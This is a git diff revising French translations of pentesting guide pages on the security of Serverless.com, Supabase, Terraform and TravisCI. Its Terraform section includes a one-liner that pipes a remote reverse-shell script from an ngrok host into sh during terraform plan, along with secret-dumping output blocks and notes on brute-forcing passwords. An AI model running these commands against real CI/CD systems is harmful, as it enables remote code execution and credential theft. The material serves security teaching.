- Laboratoire Gitea + Jenkins : [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
-### Automatic Tools
+### Outils Automatiques
- [**Checkov**](https://github.com/bridgecrewio/checkov) : **Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code.
-## References
+## Références
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index eded32d47..26ac7cc1f 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,4 +1,4 @@
-# Serverless.com Security
+# Sécurité de Serverless.com
{{#include ../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Une **Organisation** est l'entité de plus haut niveau au sein de l'écosystème
### Équipe
-L'**Équipe** est constituée des utilisateurs ayant accès à l'intérieur de l'organisation. Les équipes aident à organiser les membres en fonction des rôles. Les **`Collaborateurs`** peuvent voir et déployer des applications existantes, tandis que les **`Admins`** peuvent créer de nouvelles applications et gérer les paramètres de l'organisation.
+L'**Équipe** est constituée des utilisateurs ayant accès à l'organisation. Les équipes aident à organiser les membres en fonction des rôles. Les **`Collaborateurs`** peuvent voir et déployer des applications existantes, tandis que les **`Admins`** peuvent créer de nouvelles applications et gérer les paramètres de l'organisation.
### Application
@@ -32,7 +32,7 @@ handler: handler.hello
Fonction
-Une **Fonction** représente une seule fonction serverless, comme une fonction AWS Lambda. Elle contient le code qui s'exécute en réponse à des événements.
+Une **Fonction** représente une seule fonction sans serveur, comme une fonction AWS Lambda. Elle contient le code qui s'exécute en réponse à des événements.
Elle est définie sous la section `functions` dans `serverless.yml`, spécifiant le gestionnaire, l'environnement d'exécution, les événements, les variables d'environnement et d'autres paramètres.
```yaml
@@ -50,7 +50,7 @@ method: get
Événement
-**Les événements** sont des déclencheurs qui invoquent vos fonctions serverless. Ils définissent comment et quand une fonction doit être exécutée.
+**Les événements** sont des déclencheurs qui invoquent vos fonctions sans serveur. Ils définissent comment et quand une fonction doit être exécutée.
Les types d'événements courants incluent les requêtes HTTP, les événements planifiés (tâches cron), les événements de base de données, les téléchargements de fichiers, et plus encore.
```yaml
@@ -138,9 +138,9 @@ plugins:
-Layers
+Couches
-**Layers** vous permettent de regrouper et de gérer le code partagé ou les dépendances séparément de vos fonctions. Cela favorise la réutilisabilité et réduit la taille des packages de déploiement. Ils sont définis sous la section `layers` et référencés par les fonctions.
+**Couches** vous permettent d'emballer et de gérer le code partagé ou les dépendances séparément de vos fonctions. Cela favorise la réutilisabilité et réduit la taille des packages de déploiement. Elles sont définies dans la section `layers` et référencées par les fonctions.
```yaml
layers:
commonLibs:
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
Variables d'environnement
-**Variables** vous permettent de passer des paramètres de configuration et des secrets à vos fonctions sans les coder en dur. Elles sont définies sous la section `environment` pour le fournisseur ou pour des fonctions individuelles.
+**Les variables** vous permettent de transmettre des paramètres de configuration et des secrets à vos fonctions sans les coder en dur. Elles sont définies sous la section `environment` pour le fournisseur ou pour des fonctions individuelles.
```yaml
provider:
environment:
@@ -323,7 +323,7 @@ method: get
{{#endtab }}
{{#endtabs }}
-4. Créez un fournisseur AWS en allant dans le **tableau de bord** à `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
+4. Créez un fournisseur AWS en allant dans le **tableau de bord** à `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
1. Pour donner accès à `serverless.com` à AWS, il demandera d'exécuter une pile cloudformation en utilisant ce fichier de configuration (au moment de la rédaction) : [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
2. Ce modèle génère un rôle appelé **`SFRole-`** avec **`arn:aws:iam::aws:policy/AdministratorAccess`** sur le compte avec une identité de confiance qui permet au compte AWS de `Serverless.com` d'accéder au rôle.
@@ -482,8 +482,8 @@ TableName: ${self:service}-customerTable-${sls:stage}
{{#endtabs }}
6. Déployez-le en exécutant **`serverless deploy`**
-1. Le déploiement sera effectué via une pile CloudFormation
-2. Notez que les **lambdas sont exposées via API gateway** et non via des URL directes
+1. Le déploiement sera effectué via une CloudFormation Stack
+2. Notez que les **lambdas sont exposées via API gateway** et non via des URLs directes
7. **Testez-le**
1. L'étape précédente affichera les **URLs** où vos fonctions lambda des points de terminaison API ont été déployées
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
Stocker des informations sensibles (par exemple, des clés API, des identifiants de base de données) directement dans **`serverless.yml`** ou le code peut entraîner une exposition si les dépôts sont compromis.
-La méthode **recommandée** pour stocker des variables d'environnement dans le fichier **`serverless.yml`** de serverless.com (au moment de la rédaction) est d'utiliser les fournisseurs `ssm` ou `s3`, ce qui permet d'obtenir les **valeurs d'environnement de ces sources au moment du déploiement** et de **configurer** les **variables d'environnement des lambdas** avec le **texte clair des valeurs** !
+La manière **recommandée** de stocker des variables d'environnement dans le fichier **`serverless.yml`** de serverless.com (au moment de la rédaction) est d'utiliser les fournisseurs `ssm` ou `s3`, ce qui permet d'obtenir les **valeurs d'environnement de ces sources au moment du déploiement** et de **configurer** les **variables d'environnement des lambdas** avec le **texte clair des valeurs** !
> [!CAUTION]
> Par conséquent, toute personne ayant des autorisations pour lire la configuration des lambdas dans AWS pourra **accéder à toutes ces variables d'environnement en texte clair !**
@@ -567,7 +567,7 @@ DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
Et même si cela empêche de coder en dur la valeur de la variable d'environnement dans le **`serverless.yml`**, la valeur sera obtenue au moment du déploiement et sera **ajoutée en texte clair à l'intérieur de la variable d'environnement lambda**.
> [!TIP]
-> La manière recommandée de stocker les variables d'environnement en utilisant serveless.com serait de **les stocker dans un secret AWS** et de simplement stocker le nom du secret dans la variable d'environnement et le **code lambda devrait le récupérer**.
+> La manière recommandée de stocker des variables d'environnement en utilisant serveless.com serait de **les stocker dans un secret AWS** et de simplement stocker le nom du secret dans la variable d'environnement et le **code lambda devrait le récupérer**.
#### **Stratégies d'atténuation**
@@ -661,13 +661,13 @@ headers:
- Content-Type
```
-- **Utiliser des Pare-feu d'Applications Web (WAF) :** Filtrer et surveiller les requêtes HTTP pour des motifs malveillants.
+- **Utiliser des Pare-feux d'Applications Web (WAF) :** Filtrer et surveiller les requêtes HTTP pour des motifs malveillants.
---
### **Isolation de Fonction Insuffisante**
-Des ressources partagées et une isolation inadéquate peuvent entraîner des escalades de privilèges ou des interactions non intentionnelles entre les fonctions.
+Des ressources partagées et une isolation inadéquate peuvent entraîner des élévations de privilèges ou des interactions non intentionnelles entre les fonctions.
#### **Stratégies d'atténuation**
@@ -712,9 +712,9 @@ SSEEnabled: true
---
-### **Manque de Gestion d'Erreur Appropriée**
+### **Manque de Gestion d'Erreurs Appropriée**
-Des messages d'erreur détaillés peuvent exposer des informations sensibles sur l'infrastructure ou le code, tandis que des exceptions non gérées peuvent entraîner des plantages d'application.
+Des messages d'erreur détaillés peuvent révéler des informations sensibles sur l'infrastructure ou le code, tandis que des exceptions non gérées peuvent entraîner des plantages d'application.
#### **Stratégies d'atténuation**
@@ -735,8 +735,8 @@ body: JSON.stringify({ message: 'Erreur Interne du Serveur' }),
};
```
-- **Gestion Centralisée des Erreurs :** Gérez et désinfectez les erreurs de manière cohérente dans toutes les fonctions.
-- **Surveiller et Journaliser les Erreurs :** Suivez et analysez les erreurs en interne sans exposer de détails aux utilisateurs finaux.
+- **Gestion Centralisée des Erreurs :** Gérez et désinfectez les erreurs de manière cohérente à travers toutes les fonctions.
+- **Surveiller et Journaliser les Erreurs :** Suivez et analysez les erreurs en interne sans exposer les détails aux utilisateurs finaux.
---
@@ -749,7 +749,7 @@ Des configurations de déploiement exposées ou un accès non autorisé aux pipe
- **Sécuriser les Pipelines CI/CD :** Mettez en œuvre des contrôles d'accès stricts, une authentification multi-facteurs (MFA) et des audits réguliers.
- **Stocker la Configuration de Manière Sécurisée :** Gardez les fichiers de déploiement exempts de secrets codés en dur et de données sensibles.
- **Utiliser des Outils de Sécurité pour l'Infrastructure as Code (IaC) :** Employez des outils comme **Checkov** ou **Terraform Sentinel** pour appliquer des politiques de sécurité.
-- **Déploiements Immutables :** Prévenir les modifications non autorisées après le déploiement en adoptant des pratiques d'infrastructure immuable.
+- **Déploiements Immutables :** Empêchez les modifications non autorisées après le déploiement en adoptant des pratiques d'infrastructure immuable.
---
@@ -773,9 +773,9 @@ Des fonctions accessibles au public ou des API non restreintes peuvent être exp
#### **Stratégies d'atténuation**
- **Restreindre l'Accès aux Fonctions :** Utilisez des VPC, des groupes de sécurité et des règles de pare-feu pour limiter l'accès aux sources de confiance.
-- **Mettre en Œuvre une Authentification Robuste :** Assurez-vous que tous les points de terminaison exposés nécessitent une authentification et une autorisation appropriées.
+- **Implémenter une Authentification Robuste :** Assurez-vous que tous les points de terminaison exposés nécessitent une authentification et une autorisation appropriées.
- **Utiliser les API Gateways de Manière Sécurisée :** Configurez les API Gateways pour appliquer des politiques de sécurité, y compris la validation des entrées et la limitation de taux.
-- **Désactiver les Points de Terminaison Inutilisés :** Passez régulièrement en revue et désactivez tout point de terminaison qui n'est plus utilisé.
+- **Désactiver les Points de Terminaison Inutilisés :** Passez régulièrement en revue et désactivez tous les points de terminaison qui ne sont plus utilisés.
---
@@ -785,7 +785,7 @@ Accorder des permissions excessives aux membres de l'équipe et aux collaborateu
#### **Stratégies d'atténuation**
-- **Principe du Moindre Privilège :** Assurez-vous que les membres de l'équipe et les collaborateurs n'ont que les permissions nécessaires pour effectuer leurs tâches.
+- **Principe du Moins de Privilèges :** Assurez-vous que les membres de l'équipe et les collaborateurs n'ont que les permissions nécessaires pour effectuer leurs tâches.
---
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 35766dddc..c73700e64 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -4,18 +4,18 @@
## Informations de base
-Selon leur [**page d'accueil**](https://supabase.com/) : Supabase est une alternative open source à Firebase. Commencez votre projet avec une base de données Postgres, Authentification, APIs instantanées, Fonctions Edge, abonnements en temps réel, Stockage et embeddings vectoriels.
+Selon leur [**page d'accueil**](https://supabase.com/): Supabase est une alternative open source à Firebase. Commencez votre projet avec une base de données Postgres, Authentification, APIs instantanées, Fonctions Edge, abonnements en temps réel, Stockage et embeddings vectoriels.
### Sous-domaine
-En gros, lorsqu'un projet est créé, l'utilisateur recevra un sous-domaine supabase.co comme : **`jnanozjdybtpqgcwhdiz.supabase.co`**
+Fondamentalement, lorsqu'un projet est créé, l'utilisateur recevra un sous-domaine supabase.co comme : **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Configuration de la base de données**
> [!TIP]
> **Ces données peuvent être accessibles via un lien comme `https://supabase.com/dashboard/project//settings/database`**
-Cette **base de données** sera déployée dans une région AWS, et pour s'y connecter, il serait possible de le faire en se connectant à : `postgres://postgres.jnanozjdybtpqgcwhdiz:[VOTRE-MOT-DE-PASSE]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (cela a été créé dans us-west-1).\
+Cette **base de données** sera déployée dans une région AWS, et pour s'y connecter, il serait possible de le faire en se connectant à : `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (cela a été créé dans us-west-1).\
Le mot de passe est un **mot de passe que l'utilisateur a saisi** précédemment.
Par conséquent, comme le sous-domaine est connu et qu'il est utilisé comme nom d'utilisateur et que les régions AWS sont limitées, il pourrait être possible d'essayer de **forcer le mot de passe**.
@@ -23,7 +23,7 @@ Par conséquent, comme le sous-domaine est connu et qu'il est utilisé comme nom
Cette section contient également des options pour :
- Réinitialiser le mot de passe de la base de données
-- Configurer le pool de connexions
+- Configurer le pooling de connexions
- Configurer SSL : Rejeter les connexions en texte clair (par défaut, elles sont activées)
- Configurer la taille du disque
- Appliquer des restrictions et des interdictions réseau
@@ -118,17 +118,17 @@ Un **JWT Secret** sera également généré afin que l'application puisse **cré
> [!TIP]
> Par **défaut**, supabase permettra aux **nouveaux utilisateurs de créer des comptes** sur votre projet en utilisant les points de terminaison API mentionnés précédemment.
-Cependant, ces nouveaux comptes, par défaut, **devront valider leur adresse e-mail** pour pouvoir se connecter au compte. Il est possible d'activer **"Autoriser les connexions anonymes"** pour permettre aux gens de se connecter sans vérifier leur adresse e-mail. Cela pourrait donner accès à **des données inattendues** (ils obtiennent les rôles `public` et `authenticated`).\
+Cependant, ces nouveaux comptes, par défaut, **devront valider leur adresse e-mail** pour pouvoir se connecter au compte. Il est possible d'activer **"Autoriser les connexions anonymes"** pour permettre aux personnes de se connecter sans vérifier leur adresse e-mail. Cela pourrait donner accès à **des données inattendues** (ils obtiennent les rôles `public` et `authenticated`).\
C'est une très mauvaise idée car supabase facture par utilisateur actif, donc les gens pourraient créer des utilisateurs et se connecter et supabase facturera pour ceux-ci :
-### Mots de passe & sessions
+### Mots de passe et sessions
Il est possible d'indiquer la longueur minimale des mots de passe (par défaut), les exigences (aucune par défaut) et d'interdire l'utilisation de mots de passe compromis.\
-Il est recommandé d'**améliorer les exigences car celles par défaut sont faibles**.
+Il est recommandé de **renforcer les exigences car celles par défaut sont faibles**.
-- Sessions utilisateur : Il est possible de configurer le fonctionnement des sessions utilisateur (délai, 1 session par utilisateur...)
+- Sessions utilisateur : Il est possible de configurer le fonctionnement des sessions utilisateur (délai d'expiration, 1 session par utilisateur...)
- Protection contre les bots et les abus : Il est possible d'activer Captcha.
### Paramètres SMTP
@@ -138,7 +138,7 @@ Il est possible de définir un SMTP pour envoyer des e-mails.
### Paramètres avancés
- Définir le temps d'expiration des jetons d'accès (3600 par défaut)
-- Détecter et révoquer les jetons de rafraîchissement potentiellement compromis et le délai
+- Détecter et révoquer les jetons de rafraîchissement potentiellement compromis et le délai d'expiration
- MFA : Indiquer combien de facteurs MFA peuvent être enregistrés à la fois par utilisateur (10 par défaut)
- Max Direct Database Connections : Nombre maximum de connexions utilisées pour l'authentification (10 par défaut)
- Max Request Duration : Temps maximum autorisé pour qu'une demande d'authentification dure (10s par défaut)
@@ -148,7 +148,7 @@ Il est possible de définir un SMTP pour envoyer des e-mails.
> [!TIP]
> Supabase permet **de stocker des fichiers** et de les rendre accessibles via une URL (il utilise des buckets S3).
-- Définir la limite de taille de fichier à télécharger (la valeur par défaut est 50 Mo)
+- Définir la limite de taille de fichier à télécharger (la valeur par défaut est de 50 Mo)
- La connexion S3 est donnée avec une URL comme : `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Il est possible de **demander une clé d'accès S3** qui est formée par un `access key ID` (par exemple, `a37d96544d82ba90057e0e06131d0a7b`) et une `secret access key` (par exemple, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 13dca5215..e53f85c14 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -4,7 +4,7 @@
## Informations de base
-[Des docs :](https://developer.hashicorp.com/terraform/intro)
+[Selon la documentation :](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme le calcul, le stockage et les ressources réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS.
@@ -28,15 +28,15 @@ Le flux de travail principal de Terraform se compose de trois étapes :
Il vous suffit d'installer terraform sur votre ordinateur.
-Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et ici vous avez la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
+Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et voici la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
## RCE dans Terraform
-Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform**.
+Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, par conséquent, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform**.
Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements afin de fonctionner correctement.
-La principale façon pour un attaquant de pouvoir compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
+Le principal moyen pour un attaquant de compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** :
@@ -44,7 +44,7 @@ En fait, il existe des solutions qui **exécutent automatiquement terraform plan
atlantis-security.md
{{#endref}}
-Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
+Si vous parvenez à compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
### Terraform plan
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Utilisation d'un fournisseur personnalisé**
-Un attaquant pourrait envoyer un [fournisseur personnalisé](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Un attaquant pourrait envoyer un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -116,13 +116,13 @@ Suivez les **suggestions de la technique précédente** pour effectuer cette att
## Secrets Dumps
-Vous pouvez avoir **des valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
+Vous pouvez avoir des **valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-## Abus des fichiers d'état Terraform
+## Abuser des fichiers d'état Terraform
Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier :
@@ -208,7 +208,7 @@ snyk iac test /path/to/terraform/code
**Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source.
-Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
+Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration en matière de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE).
```bash
@@ -220,7 +220,7 @@ checkov -d /path/to/folder
D'après les [**docs**](https://github.com/terraform-compliance/cli) : `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.
- **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées
-- **développement dirigé par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
+- **développement piloté par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
- **portable :** installez-le simplement via `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
- **pré-déploiement :** il valide votre code avant qu'il ne soit déployé
- **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés.
@@ -254,7 +254,7 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
-Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure-as-code avec **KICS** de Checkmarx.
+Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure en tant que code avec **KICS** de Checkmarx.
**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, il est open source et est indispensable pour tout projet cloud natif.
```bash
@@ -265,7 +265,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
D'après les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :
- Scanner sans effort l'infrastructure en tant que code pour des erreurs de configuration.
-- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent une dérive de posture, et permet de revenir à une posture sécurisée.
+- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent un dérive de posture, et permet de revenir à une posture sécurisée.
- Détecter des vulnérabilités de sécurité et des violations de conformité.
- Atténuer les risques avant de provisionner une infrastructure cloud native.
- Offrir la flexibilité de fonctionner localement ou de s'intégrer à votre CI\CD.
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index c4121e0b0..bbe1ee5a2 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -1,4 +1,4 @@
-# TODO
+# À FAIRE
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index f7277e4ca..34ce35d82 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -35,18 +35,18 @@ TravisCI désactive par défaut le partage des variables d'environnement avec le
### Dumping Secrets
-Comme expliqué dans la page [**informations de base**](basic-travisci-information.md), il existe 2 types de secrets. Les **secrets des variables d'environnement** (qui sont listés sur la page web) et les **secrets chiffrés personnalisés**, qui sont stockés dans le fichier `.travis.yml` sous forme de base64 (notez que les deux, lorsqu'ils sont stockés chiffrés, finiront par être des variables d'environnement dans les machines finales).
+Comme expliqué dans la page [**informations de base**](basic-travisci-information.md), il existe 2 types de secrets. Les **secrets de variables d'environnement** (qui sont listés sur la page web) et les **secrets chiffrés personnalisés**, qui sont stockés dans le fichier `.travis.yml` sous forme de base64 (notez que les deux, une fois stockés chiffrés, finiront par être des variables d'environnement dans les machines finales).
-- Pour **énumérer les secrets** configurés comme **variables d'environnement**, allez dans les **paramètres** du **projet** et vérifiez la liste. Cependant, notez que toutes les variables d'environnement du projet définies ici apparaîtront lors du déclenchement d'une construction.
+- Pour **énumérer les secrets** configurés comme **Variables d'Environnement**, allez dans les **paramètres** du **projet** et vérifiez la liste. Cependant, notez que toutes les variables d'environnement du projet définies ici apparaîtront lors du déclenchement d'une construction.
- Pour énumérer les **secrets chiffrés personnalisés**, le mieux que vous puissiez faire est de **vérifier le fichier `.travis.yml`**.
-- Pour **énumérer les fichiers chiffrés**, vous pouvez vérifier les **fichiers `.enc`** dans le dépôt, pour des lignes similaires à `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` dans le fichier de configuration, ou pour des **iv et clés chiffrés** dans les **variables d'environnement** telles que :
+- Pour **énumérer les fichiers chiffrés**, vous pouvez vérifier les **fichiers `.enc`** dans le dépôt, pour des lignes similaires à `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` dans le fichier de configuration, ou pour des **iv et clés chiffrés** dans les **Variables d'Environnement** telles que :
.png>)
### À FAIRE :
- Exemple de construction avec un shell inversé fonctionnant sur Windows/Mac/Linux
-- Exemple de construction fuyant l'encodage base64 des env dans les journaux
+- Exemple de construction fuyant l'encodage base64 des env dans les logs
### TravisCI Enterprise
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 61e25beac..a0dafa83c 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -16,15 +16,15 @@ Par exemple, dans Github, il demandera les permissions suivantes :
### Variables d'environnement
-Dans TravisCI, comme dans d'autres plateformes CI, il est possible de **sauvegarder au niveau du dépôt des secrets** qui seront sauvegardés chiffrés et seront **décryptés et poussés dans la variable d'environnement** de la machine exécutant la build.
+Dans TravisCI, comme dans d'autres plateformes CI, il est possible de **sauvegarder au niveau du dépôt des secrets** qui seront sauvegardés chiffrés et seront **décryptés et poussés dans la variable d'environnement** de la machine exécutant la construction.
.png>)
-Il est possible d'indiquer les **branches auxquelles les secrets seront disponibles** (par défaut toutes) et aussi si TravisCI **doit cacher sa valeur** si elle apparaît **dans les logs** (par défaut, il le fera).
+Il est possible d'indiquer les **branches auxquelles les secrets seront disponibles** (par défaut toutes) et aussi si TravisCI **doit cacher sa valeur** si elle apparaît **dans les journaux** (par défaut, il le fera).
### Secrets chiffrés personnalisés
-Pour **chaque dépôt**, TravisCI génère une **paire de clés RSA**, **garde** la **clé privée**, et rend la **clé publique** du dépôt disponible pour ceux qui ont **accès** au dépôt.
+Pour **chaque dépôt**, TravisCI génère une **paire de clés RSA**, **garde** la **clé privée**, et rend la **clé publique du dépôt disponible** pour ceux qui ont **accès** au dépôt.
Vous pouvez accéder à la clé publique d'un dépôt avec :
```
@@ -67,19 +67,19 @@ Travis CI Enterprise est une **version sur site de Travis CI**, que vous pouvez
**Travis CI Enterprise se compose de deux parties principales :**
-1. Les **services TCI** (ou services de base TCI), responsables de l'intégration avec les systèmes de contrôle de version, de l'autorisation des builds, de la planification des tâches de build, etc.
+1. Les **services TCI** (ou services principaux TCI), responsables de l'intégration avec les systèmes de contrôle de version, de l'autorisation des builds, de la planification des tâches de build, etc.
2. Le **Worker TCI** et les images d'environnement de build (également appelées images OS).
-**Les services de base TCI nécessitent les éléments suivants :**
+**Les services principaux TCI nécessitent les éléments suivants :**
